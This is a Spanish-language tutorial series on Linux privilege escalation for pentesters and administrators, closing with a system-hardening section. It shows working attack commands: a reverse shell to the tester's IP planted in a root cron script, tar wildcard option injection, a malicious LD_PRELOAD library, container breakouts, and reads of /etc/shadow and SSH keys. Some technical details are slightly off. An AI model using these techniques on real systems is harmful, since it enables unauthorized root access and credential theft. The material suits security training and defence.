Escalada de Privilegios en Linux

Secciones

Introducción

En el vasto mundo de la ciberseguridad ofensiva, uno de los objetivos más codiciados durante una intrusión es alcanzar el máximo nivel de control sobre un sistema: el acceso como root. Este proceso se conoce como escalada de privilegios, y en sistemas Linux, es una fase crítica que puede marcar la diferencia entre una intrusión superficial y una intrusión completa con impacto real.

¿Qué es la escalada de privilegios?

Cuando hablamos de escalada de privilegios, nos referimos a la técnica que permite a un atacante con acceso limitado (por ejemplo, un usuario sin privilegios) elevar su nivel de acceso hasta alcanzar permisos más altos, típicamente de administrador o superusuario.

En el caso de Linux, esto significa pasar de un shell básico a un entorno con privilegios de root, lo que implica control total sobre el sistema: leer archivos sensibles, modificar configuraciones, instalar puertas traseras, moverse lateralmente dentro de una red, o incluso comprometer dominios completos si el host está integrado a un Active Directory.

¿Por qué es importante entender la escalada de privilegios?

Tanto para pentesters como para administradores de sistemas, comprender a fondo las rutas de escalada ayuda en dos frentes:

Ofensivamente, permite identificar vectores de ataque efectivos tras una intrusión inicial.
Defensivamente, ayuda a corregir configuraciones erróneas, endurecer el sistema y cerrar oportunidades antes de que sean explotadas.

La escalada de privilegios no se trata simplemente de lanzar un exploit y esperar lo mejor. Es un proceso metódico, que comienza con una enumeración profunda del entorno y continúa evaluando cada oportunidad potencial basada en permisos, configuraciones, errores humanos o componentes vulnerables.

Clasificación de técnicas

A lo largo de esta serie de artículos, cubriremos múltiples vectores de escalada que suelen clasificarse en las siguientes categorías:

Basada en entorno: errores en variables como $PATH, scripts con permisos inseguros, shells restringidos mal configurados, etc.
Basada en permisos: privilegios de sudo, archivos con bits SUID/SGID, grupos privilegiados y capacidades asignadas incorrectamente.
Basada en servicios: explotación de servicios como cron, LXD, Docker, Kubernetes, o herramientas de logging mal configuradas como logrotate.
Basada en fallos del sistema: vulnerabilidades del kernel, bibliotecas compartidas secuestradas, cargas dinámicas inseguras (LD_PRELOAD), etc.
0-days y exploits públicos recientes: como Dirty Pipe, fallos en Polkit o configuraciones débiles en sudo.

En cada artículo exploraremos estos vectores paso a paso, con comandos explicados y ejemplos reales. También discutiremos cómo automatizar parte del proceso con herramientas como LinPEAS, LinEnum o pspy, sin dejar de lado la importancia de comprender cada técnica de forma manual.

El contexto importa

No todos los entornos Linux son iguales. Un ataque que funciona en Ubuntu puede fallar en CentOS, y lo que es trivial en un sistema sin restricciones puede ser imposible en uno bien protegido. Por eso es vital aprender a analizar el contexto: la distribución, la versión del kernel, los servicios instalados, los usuarios activos, los permisos de archivos y más.

Este conocimiento no solo es útil para los pentesters. Si eres administrador de sistemas, conocer cómo piensan los atacantes te permitirá blindar tus servidores de forma proactiva.

1. Recopilación de Información: Enumeración del Entorno en Linux

Antes de intentar cualquier tipo de escalada de privilegios, debemos conocer con exactitud el terreno que estamos pisando. Esta etapa es conocida como enumeración del entorno, y su objetivo es recopilar la mayor cantidad de información posible sobre el sistema comprometido. Esto nos permite detectar oportunidades reales de escalada, minimizar riesgos y aumentar nuestras probabilidades de éxito.

1.1. Identificación del sistema operativo

Saber en qué tipo de sistema estamos (Ubuntu, Debian, CentOS, Fedora, etc.) nos ayuda a determinar herramientas disponibles y posibles vulnerabilidades específicas. Ejecutamos:

cat /etc/os-release

Resultado esperado:

NAME="Ubuntu"
VERSION="20.04.4 LTS (Focal Fossa)"
...

Adicionalmente, puedes usar:

uname -a

Para ver el nombre del host, arquitectura, y versión del kernel. Esta información es vital para identificar posibles exploits:

Linux target 5.4.0-122-generic #138-Ubuntu SMP ... x86_64 GNU/Linux

1.2. Usuario actual y permisos

Averigua qué usuario eres y qué grupos te están asignados:

whoami
id

Esto nos indica si tenemos acceso a grupos privilegiados como sudo, adm, docker, etc.

1.3. Verificación de privilegios sudo

Comprueba si puedes ejecutar comandos como otro usuario:

sudo -l

El mejor caso es encontrar algo como:

(root) NOPASSWD: /usr/sbin/tcpdump

Esto significa que puedes ejecutar ese comando como root sin necesidad de contraseña.

1.4. Estructura de red

Comprueba la configuración de red:

ip a
hostname
route
cat /etc/resolv.conf
arp -a

Esto revela interfaces activas, IPs, conexiones recientes y configuraciones de DNS que podrían apuntar a redes internas o dominios corporativos.

1.5. Sistemas de archivos y puntos de montaje

Determina si hay unidades adicionales montadas:

lsblk
cat /etc/fstab
mount

Con suerte, podrías encontrar backups, bases de datos o credenciales expuestas.

1.6. Usuarios existentes y activos

Verifica qué usuarios hay y si han iniciado sesión recientemente:

cat /etc/passwd
lastlog
w

También puedes listar los directorios personales:

ls /home

Y revisar si hay claves SSH disponibles:

ls -l ~/.ssh

1.7. Variables de entorno

Explora variables que podrían contener contraseñas, tokens u otras pistas:

echo $PATH
env

Una PATH mal configurada (por ejemplo, comenzando con .) puede explotarse.

1.8. Historial de comandos

El historial de bash puede revelar contraseñas, conexiones SSH, uso de sudo y más:

history

Busca comandos sensibles o mal gestionados.

1.9. Shells de login permitidos

Comprobar shells válidos:

cat /etc/shells

Algunos shells como rbash o sh restringidos pueden indicar entornos mal configurados o sistemas heredados vulnerables.

1.10. Grupos especiales

Listar los grupos existentes y sus miembros:

cat /etc/group
getent group sudo

Esto permite descubrir privilegios especiales o usuarios que valga la pena atacar.

1.11. Archivos y directorios sensibles

Buscar archivos de configuración y scripts que puedan contener contraseñas:

find / -name "*.conf" -type f 2>/dev/null
find / -name "*.sh" -type f 2>/dev/null

Identifica también archivos ocultos:

find / -type f -name ".*" 2>/dev/null

1.12. Directorios y archivos con permisos de escritura

Detecta ubicaciones donde podrías escribir como usuario normal:

find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

Ideal para ubicar scripts cron, backups o directorios temporales aprovechables.

1.13. Conclusión

Esta fase de enumeración nos proporciona un mapa detallado del sistema. Mientras más minuciosa sea esta recolección de datos, más probabilidades tendremos de descubrir vectores de escalada efectivos y menos ruido generaremos durante la intrusión.

2. Búsqueda de Credenciales en Linux

Cuando se trata de escalar privilegios, las credenciales son oro puro. Usuarios que guardan contraseñas en archivos planos, scripts mal escritos, archivos de configuración que exponen secretos… Todo esto representa oportunidades reales para comprometer el sistema.

En esta sección aprenderemos a identificar y extraer credenciales de los lugares más comunes y peligrosamente accesibles de un sistema Linux.

2.1. Archivos de configuración

Los archivos .conf, .config, .ini y similares suelen contener configuraciones sensibles. Muchas veces incluyen:

Usuarios y contraseñas de bases de datos
Tokens de API
Credenciales para conexiones remotas o servicios en la nube

Comandos útiles:

find / -type f \( -name "*.conf" -o -name "*.config" -o -name "*.ini" \) 2>/dev/null

Una vez encontrados, puedes usar grep para buscar patrones sospechosos:

grep -iE "pass|pwd|user|secret|token" /ruta/del/archivo

2.2. Historial de comandos

Muchos usuarios ejecutan comandos que incluyen contraseñas directamente en la terminal. Por ejemplo:

mysql -u root -pMiClaveSuperSecreta

Explora el historial:

cat ~/.bash_history

O busca globalmente:

find /home -type f -name ".bash_history" -exec grep -iE "pass|ssh|mysql|scp" {} \; 2>/dev/null

2.3. Claves SSH

Las claves privadas almacenadas en ~/.ssh/id_rsa pueden dar acceso directo a otros sistemas:

ls -l ~/.ssh
cat ~/.ssh/id_rsa

Busca claves en otras rutas:

find / -name "id_rsa" 2>/dev/null

Si encuentras una clave privada, prueba acceder:

chmod 600 id_rsa
ssh -i id_rsa usuario@ip_destino

2.4. Scripts y binarios

Los scripts de backup, mantenimiento o desarrollo son una mina de oro. Es común ver:

Variables con contraseñas hardcodeadas
Comandos con claves expuestas

Busca scripts:

find / -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" \) 2>/dev/null

Explora su contenido en busca de credenciales:

grep -iE "pass|pwd|secret|key" script.sh

2.5. Variables de entorno

Algunas aplicaciones exportan contraseñas como variables:

env | grep -iE "pass|secret|token"

2.6. Procesos en ejecución

Puede que haya procesos activos ejecutando comandos con argumentos sensibles:

ps aux | grep -iE "ssh|mysql|scp|pass"

2.7. Archivos planos sospechosos

Busca ficheros de texto que puedan almacenar credenciales:

find / -type f \( -name "*password*" -o -name "*credentials*" -o -name "*.txt" \) 2>/dev/null

2.8. Shadow y passwd

Si el archivo /etc/shadow es legible, puedes capturar hashes de contraseñas:

cat /etc/shadow

Si no, revisa /etc/passwd por si hay hashes visibles (mala práctica):

cat /etc/passwd

Hash ejemplo:

sysadm:$6$vdH7vuQIv6anIBWg$Ysk...:1007:1007:...:/home/sysadm:

2.9. Archivos recientes y sospechosos

Busca archivos modificados recientemente:

find / -type f -mtime -3 2>/dev/null

Puedes combinarlos con búsqueda por contenido:

grep -iE "pass|pwd|secret" $(find / -type f -mtime -3 2>/dev/null) 2>/dev/null

2.10.Conclusión

Una buena parte de las escaladas de privilegios se consiguen sin necesidad de explotar ninguna vulnerabilidad, simplemente aprovechando malas prácticas de gestión de credenciales.

3. Escalada de Privilegios Basada en el Entorno

En muchos sistemas Linux, existen fallos de configuración en el entorno de ejecución que pueden ser aprovechados para escalar privilegios sin necesidad de explotar vulnerabilidades complejas. En esta sección abordaremos los errores más comunes en la configuración del entorno que podrían darnos acceso como root.

3.1. Abuso de la variable PATH

La variable PATH define el orden en que el sistema busca los ejecutables. Si un administrador configura un cron job o script de backup llamando a un binario sin su ruta absoluta, y PATH contiene directorios escribibles por el usuario, es posible inyectar un binario malicioso con el mismo nombre.

Comprobación:

echo $PATH

Busca rutas como . o directorios como /tmp, /home/usuario/scripts, etc.

Ejemplo de explotación:

Supongamos que existe un cron job que ejecuta:

backup

Y el PATH contiene .. Creamos un binario falso:

echo -e '#!/bin/bash\n/bin/bash' > backup
chmod +x backup

Si el cron ejecuta ese backup, obtendrás un shell como el usuario del proceso (potencialmente root).

3.2. Abuso de comodines (wildcards)

Cuando los scripts usan comodines en comandos peligrosos como tar, chown o rsync, podrías inyectar opciones maliciosas creando archivos con nombres especiales.

Escenario típico:

Un script como:

tar -czf /backup/arch.tar.gz *

Tú puedes crear:

touch "--checkpoint=1" "--checkpoint-action=exec=/bin/bash"

Cuando se ejecute tar, ejecutará /bin/bash como el usuario del script.

3.3. Escapada de shells restringidos (restricted shells)

Algunos usuarios son encerrados en shells limitados como rbash. Sin embargo, muchas veces se puede escapar utilizando comandos que permiten invocar subshells.

Verifica el tipo de shell:

echo $SHELL

Técnicas comunes de escape:

python -c 'import pty;pty.spawn("/bin/bash")'
perl -e 'exec "/bin/bash";'

Incluso usando less, vi o awk se puede escapar:

vi
:!bash

3.4. Ejecución de binarios inseguros con sudo

Si puedes ejecutar binarios como cp, nano, less, vim, etc., con sudo, puedes obtener un shell root.

Ejemplo:

sudo vim

Y dentro de vim:

:!bash

Lista de binarios peligrosos: https://gtfobins.github.io

3.5. PATH modificado desde scripts

Algunos scripts modifican el PATH de forma insegura:

export PATH=.:$PATH

Esto prioriza el directorio actual. Si puedes colocar un binario malicioso con el mismo nombre que uno llamado por el script, podrías secuestrar su ejecución.

3.6. Scripts temporales o de pruebas dejados en el sistema

Muchos administradores olvidan scripts con comandos hardcodeados o permisos elevados. ¡Explóralos!

find / -type f \( -name "*.sh" -o -name "*.py" \) -perm -o+w 2>/dev/null

3.7. Conclusión

El entorno es uno de los vectores más descuidados pero más efectivos para la escalada de privilegios. Basta con un PATH mal definido, un cron mal escrito o una shell limitada mal aplicada para dar el salto.

4. Escalada de Privilegios Basada en Permisos

En Linux, los permisos son una barrera fundamental entre usuarios y el sistema. Pero cuando están mal configurados, se transforman en puertas abiertas para la escalada de privilegios. En esta sección abordaremos las principales formas de abusar de configuraciones de permisos incorrectos para conseguir acceso como root.

4.1. Archivos con permisos SUID

Los binarios con el bit SUID permiten que cualquier usuario los ejecute con los privilegios del propietario (a menudo, root). Si el binario es vulnerable o se puede manipular su ejecución, es posible obtener un shell privilegiado.

Búsqueda de archivos SUID:

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

Ejemplo:

Un SUID sobre /usr/bin/python permitiría:

/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'

4.2. Archivos con permisos SGID

SGID (Set Group ID) ejecuta un binario con el GID del grupo propietario. Si el grupo tiene privilegios especiales o acceso a archivos confidenciales, esto puede ser aprovechado.

Búsqueda de archivos SGID:

find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

4.3. Abuso de Sudo

Si tienes acceso a sudo (especialmente sin contraseña), puedes escalar privilegios fácilmente.

Comprobación:

sudo -l

Escenario común:

(root) NOPASSWD: /usr/bin/vim

Puedes ejecutar:

sudo vim
:!bash

Consulta: https://gtfobins.github.io/ para ver cómo escalar con cientos de binarios conocidos.

4.4. Grupos privilegiados

Hay grupos con permisos especiales, como docker, lxd, sudo, adm, etc. Si un usuario pertenece a alguno, se puede aprovechar.

Comprobación:

groups
cat /etc/group

Ejemplo:

Si perteneces al grupo docker, puedes montar un contenedor con acceso al sistema de archivos:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

4.5. Capacidades Linux (setcap)

Linux permite asignar capacidades a binarios sin necesidad de SUID. Estas capacidades pueden dar acceso directo a funcionalidades críticas.

Ver capacidades asignadas:

getcap -r / 2>/dev/null

Ejemplo:

Si /usr/bin/python3.8 tiene la capacidad cap_setuid+ep:

python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

4.6. Permisos en scripts o tareas cron

Si un script ejecutado por root es modificable por un usuario, puedes añadir comandos maliciosos.

Búsqueda de scripts grabables:

find /etc/cron.* /var/spool/cron -type f -writable 2>/dev/null

Si puedes modificar el script, simplemente inserta:

echo "bash" > /ruta/del/script.sh

4.7. Conclusión

Muchos de los vectores de escalada más efectivos se basan simplemente en permisos mal aplicados. Explorar y explotar SUID, sudo, grupos privilegiados o scripts vulnerables suele ser más estable y directo que explotar vulnerabilidades del kernel.

5. Escalada de Privilegios Basada en Servicios

En muchos entornos Linux, los servicios en segundo plano ofrecen vectores de escalada de privilegios que a menudo pasan desapercibidos. Ya sea por configuraciones incorrectas, permisos mal gestionados o aplicaciones vulnerables, estas rutas son muy efectivas si sabemos cómo detectarlas.

5.1. Servicios vulnerables en ejecución

Algunos servicios se ejecutan como root y si presentan vulnerabilidades locales, pueden ser explotados directamente desde una sesión limitada.

Comprobación de procesos:

ps aux | grep root

Ejemplos típicos:

Nagios Core < 4.2.4 — CVE-2016-9566
Exim, ProFTPd, Samba mal configurados

Busca PoCs en: https://www.exploit-db.com

5.2. Abuso de tareas programadas (Cron)

Si puedes modificar un archivo que se ejecuta periódicamente por cron como root, puedes insertar un payload.

Ver tareas:

ls -la /etc/cron.*

Encontrar archivos editables:

find /etc/cron.* /var/spool/cron -type f -writable 2>/dev/null

Exploit:

echo "bash -i >& /dev/tcp/tu_ip/4444 0>&1" >> /etc/cron.daily/backup

5.3. LXD mal configurado

Si el usuario pertenece al grupo lxd, puedes crear contenedores privilegiados y montar el sistema host.

Comprobación:

groups

Escalada:

lxd init
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc rootfs disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc -- chroot /mnt/root bash

5.4. Docker

Un usuario con permisos sobre docker puede crear un contenedor con acceso total al host.

Comprobación:

groups | grep docker

Escalada:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

5.5. Kubernetes (k8s)

Si tienes acceso a un cluster con permisos admin, puedes crear un pod privilegiado.

YAML de ejemplo:

apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  containers:
  - name: root-shell
    image: alpine
    command: ["/bin/sh"]
    securityContext:
      privileged: true
  hostPID: true

Aplica con:

kubectl apply -f privesc.yaml
kubectl exec -it privesc -- sh

5.6. Logrotate vulnerable

Si puedes modificar el script de postrotación (postrotate) de logrotate, puedes insertar comandos como root.

Comprobación:

cat /etc/logrotate.d/*

Busca bloques como:

postrotate
    /usr/bin/some_script
endscript

Si el script es editable o puedes influir en su contenido, tienes una entrada directa.

5.7 Conclusión

Los servicios representan un vector de escalada muy potente, especialmente en entornos corporativos donde hay automatizaciones y tareas frecuentes corriendo como root. Si puedes posicionarte en medio de ese flujo de ejecución, tienes el camino libre hacia el control total.

6. Técnicas Diversas de Escalada de Privilegios en Linux

Hasta ahora hemos revisado vectores de escalada bien definidos: entorno, permisos, servicios… pero el mundo real rara vez se ajusta a categorías rígidas. En esta sección exploramos técnicas diversas, más impredecibles pero igual de potentes.

6.1. Hijacking de archivos temporales

Algunos scripts o procesos crean archivos temporales en directorios accesibles como /tmp o /var/tmp sin validación de permisos.

Escenario típico:

Un script ejecutado como root hace:

TMPFILE=/tmp/temp.log
echo "backup start" > $TMPFILE

Como usuario, puedes crear un symlink:

ln -s /etc/shadow /tmp/temp.log

Cuando el script se ejecute, ¡sobrescribirá /etc/shadow!

6.2. LD_PRELOAD / LD_LIBRARY_PATH

Si puedes ejecutar binarios como root y manipular cómo cargan sus bibliotecas, puedes inyectar una biblioteca maliciosa.

Paso a paso:

Crea una biblioteca en C:

#include <stdio.h>
#include <stdlib.h>
void _init() { setuid(0); system("/bin/bash"); }

Compílala:

gcc -fPIC -shared -o /tmp/mylib.so exploit.c

Ejecútala con LD_PRELOAD:

sudo LD_PRELOAD=/tmp/mylib.so /usr/bin/some_binary

6.3. Secuestro de RunPath o RPATH

Muchos binarios utilizan rutas definidas internamente para buscar bibliotecas dinámicas. Si puedes colocar una .so en esas rutas, puedes secuestrar su ejecución.

Detectar RPATH:

readelf -d /ruta/al/binario | grep PATH

Exploitar:

Coloca tu biblioteca falsa en esa ruta, similar al ejemplo anterior.

6.4. Sockets compartidos (tmux, screen)

Si puedes acceder a un socket de sesión activo, puedes adjuntarte a esa sesión y controlar el terminal de otro usuario.

Buscar sesiones compartidas:

tmux ls
ls -l /tmp/*/tmux*

Conectarte:

tmux -S /ruta/al/socket attach

6.5. Manipulación de PATH en binarios SUID

Algunos binarios SUID ejecutan otros binarios sin usar la ruta completa. Si puedes controlar el PATH, puedes hacer que ejecuten tu binario falso.

Ejemplo:

El binario vulnerable llama a cp sin ruta absoluta. Crea un falso cp:

echo -e '#!/bin/bash\n/bin/bash' > cp
chmod +x cp
export PATH=.:$PATH
./binario_suid

6.6. Modificación de bibliotecas compartidas usadas por root

Si encuentras una .so cargada por un binario de root y tienes permisos para escribir sobre ella, puedes inyectar código malicioso.

Ver qué bibliotecas usa un binario:

ldd /usr/bin/sudo

Si una de esas es editable:

ls -l /ruta/a/libshared.so

¡Oportunidad clara de explotación!

6.7. Conclusión

Estas técnicas diversas demuestran que la creatividad es esencial para la escalada de privilegios. No todo está en las herramientas automáticas: el conocimiento del funcionamiento interno de Linux te permite descubrir oportunidades únicas en cada máquina.

7. Escalada de Privilegios Basada en Elementos Internos de Linux

En esta etapa entramos en el terreno más técnico de la escalada de privilegios: los internals del sistema Linux. Nos referimos a componentes como el kernel, las bibliotecas compartidas, el linking dinámico, y más. Son métodos potentes, pero también más peligrosos: requieren conocimiento profundo y pueden hacer inestable el sistema si se usan sin cuidado.

7.1. Vulnerabilidades en el kernel

El kernel de Linux es el corazón del sistema. Si hay una vulnerabilidad local, puedes escalar directamente a root.

Comprobación del kernel:

uname -r

Ejemplo de salida:

5.8.0-50-generic

Verifica si es vulnerable:

Busca CVEs por versión en https://www.cvedetails.com
Usa herramientas como Linux Exploit Suggester o searchsploit

Ejemplo:

Dirty Pipe (CVE-2022-0847) afecta kernels 5.8+ hasta 5.16.11.

searchsploit dirty pipe

7.2. LD_PRELOAD

Si tienes la posibilidad de ejecutar binarios como root y puedes establecer la variable de entorno LD_PRELOAD, puedes forzar la carga de una biblioteca .so que contenga un payload.

Ya cubrimos esto anteriormente, pero recuerda: no funciona si el binario tiene el bit SUID.

7.3. Hijacking de bibliotecas compartidas

Si un binario ejecutado por root carga una biblioteca desde una ruta que puedes modificar, puedes reemplazar esa .so con una maliciosa.

Detectar bibliotecas:

ldd /ruta/al/binario

Busca rutas como /usr/local/lib, /opt/lib, etc. Si puedes escribir en esas ubicaciones, puedes cargar tu propio código.

7.4. Manipulación de `/etc/ld.so.preload`

Este archivo define bibliotecas a cargar antes que cualquier otra. Si puedes escribir en él, podrías ejecutar cualquier .so como root.

Comprobación:

ls -l /etc/ld.so.preload

Si tienes acceso de escritura:

echo "/tmp/mylib.so" > /etc/ld.so.preload

Y tu biblioteca maliciosa se ejecutará con cualquier comando del sistema.

7.5. Sysctl y kernel mods

Algunos entornos permiten cargar módulos del kernel (archivos .ko). Si puedes hacer eso como usuario no privilegiado (raro pero posible), puedes obtener root con facilidad.

Comprobación:

lsmod
modinfo nombre_modulo

Carga un módulo malicioso con:

insmod exploit.ko

Nota: se requiere CAP_SYS_MODULE o root.

7.6. `/proc` y `/sys`: Exposición de información crítica

Estos sistemas de archivos virtuales pueden contener datos de interés:

`/proc/self/environ`

Contiene variables de entorno que podrían revelar credenciales:

cat /proc/self/environ | tr '\0' '\n'

`/proc/<pid>/cwd`, `cmdline`, `fd/`

Analiza procesos de root o servicios activos.

7.7. Conclusión

Las técnicas basadas en internals de Linux son potentes, pero requieren precisión. Explotar una vulnerabilidad del kernel o secuestrar una biblioteca compartida puede darte root sin ruido, pero también puede colapsar el sistema si no se hace correctamente.

8. 0-days Recientes en Linux para Escalada de Privilegios

A medida que Linux evoluciona, también lo hacen sus vulnerabilidades. Cada cierto tiempo se descubren 0-days o vulnerabilidades críticas que permiten escalada de privilegios sin requerir configuraciones incorrectas. En esta sección repasamos algunos de los más impactantes en los últimos años.

8.1. Dirty Pipe (CVE-2022-0847)

Una de las vulnerabilidades más famosas en kernels 5.8+ que permite escribir en archivos de solo lectura usando el mecanismo de pipe_buffer, incluyendo /etc/passwd o /etc/shadow.

Afecta:

Kernel Linux desde 5.8 hasta 5.16.11, 5.15.25 y 5.10.102

Comprobación de versión:

uname -r

Ejecución:

Busca el exploit en:

searchsploit dirty pipe

8.2. Polkit (CVE-2021-4034) — PwnKit

Una vulnerabilidad en el binario pkexec, instalado por defecto en muchas distros. Permite escalar a root sin necesidad de privilegios.

Afecta:

Todas las versiones de pkexec desde su introducción en 2009

Comprobación:

which pkexec
pkexec --version

Exploit:

searchsploit pkexec

Requiere crear un entorno de ejecución alterado.

8.3. Sudo Baron Samedit (CVE-2021-3156)

Una vulnerabilidad en sudo que permite una escalada de privilegios local sin autenticación.

Comprobación de versión:

sudo --version

Versiones afectadas:

sudo 1.8.2 a 1.8.31p2
sudo 1.9.0 a 1.9.5p1

Exploit:

searchsploit sudo Baron

8.4. Netfilter nf_tables (CVE-2022-34918)

Una vulnerabilidad en el sistema de firewall nftables que permite escribir y ejecutar código arbitrario en espacio de kernel.

Requiere:

Kernel vulnerable (5.18.x)
CAP_NET_ADMIN o acceso a net namespace

Exploit:

Disponible en GitHub y Exploit-DB.

8.5. Dirty COW (CVE-2016-5195)

Clásico de clásicos. Una condición de carrera en el mecanismo de copia en escritura del kernel.

Comprobación:

uname -r

Afecta a muchas versiones antiguas (< 4.8.3)

Uso:

searchsploit dirty cow

8.6. Recomendaciones

Mantén los sistemas siempre actualizados
Utiliza herramientas como kernelchecker, exploit-suggester, lynis, chkrootkit
Supervisa y endurece la configuración del sistema
Usa perfiles AppArmor o SELinux donde sea posible

8.7. Conclusión

Las 0-days son un recordatorio de que incluso un sistema bien configurado puede ser vulnerable si no está actualizado. Mantener un buen monitoreo de CVEs y aplicar parches de forma frecuente es vital para evitar que estos vectores se conviertan en una puerta trasera.

9. Endurecimiento del Sistema Linux

Todo lo que hemos cubierto en esta serie demuestra una verdad fundamental: la seguridad no es un estado, sino un proceso continuo. En esta última entrega, abordamos el endurecimiento del sistema Linux, una práctica esencial para prevenir ataques de escalada de privilegios y reducir la superficie de ataque.

9.1. Actualizaciones constantes

La base de un sistema seguro es mantenerlo actualizado:

apt update && apt upgrade -y  # Debian/Ubuntu
yum update -y                # CentOS/RHEL

Aplica también a:

Kernel
Bibliotecas
Servicios externos

Puedes automatizarlo con:

unattended-upgrades

9.2. Configuración correcta de permisos

Revisa binarios con SUID/SGID innecesarios:

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

Desactiva o elimina binarios peligrosos con SUID (nmap, vim, etc.)
Usa chmod y chown para corregir permisos inseguros

9.3. Uso de herramientas de control de acceso

AppArmor y SELinux permiten definir qué puede hacer cada binario
Actívalos y define perfiles estrictos para servicios críticos

sudo aa-status  # AppArmor
sestatus        # SELinux

9.4. Auditoría de usuarios y grupos

Elimina usuarios innecesarios
Revisa grupos privilegiados:

grep -E 'sudo|docker|lxd|adm' /etc/group

Usa contraseñas seguras y políticas de caducidad

9.5. Verificación de cron jobs

Audita scripts y tareas automáticas:

ls -la /etc/cron.*
crontab -l

Evita rutas relativas, comodines y permisos inseguros

9.6. Supervisión de logs y alertas

Usa auditd, syslog, journald para registrar actividad
Implementa fail2ban para mitigar fuerza bruta
Activa notificaciones para accesos anómalos

9.7. Montaje de sistemas con opciones seguras

Edita /etc/fstab y agrega:

noexec: evita ejecutar binarios en esa partición
nodev: desactiva dispositivos
nosuid: ignora el bit SUID

Ejemplo:

tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0

9.8. Reforzamiento del kernel

Deshabilita carga de módulos si no se necesita:

echo 1 > /proc/sys/kernel/modules_disabled

Usa sysctl para endurecer parámetros:

sysctl -w kernel.randomize_va_space=2

Aplica también reglas persistentes en /etc/sysctl.conf.

9.9. Escaneo y auditoría regular

Usa herramientas como:

Lynis
chkrootkit
rkhunter
clamav

Ejemplo:

lynis audit system

9.10. Segmentación de servicios y contenedores

Usa contenedores (Docker, LXC) con principios de menor privilegio
Aisla procesos críticos en namespaces o VMs
Nunca ejecutes contenedores como root innecesariamente

9.11 Conclusión

Endurecer un sistema Linux no significa hacerlo inutilizable, sino limitar al máximo las oportunidades de ataque sin interferir con la operativa. Es una combinación de conocimiento, vigilancia y actualización constante.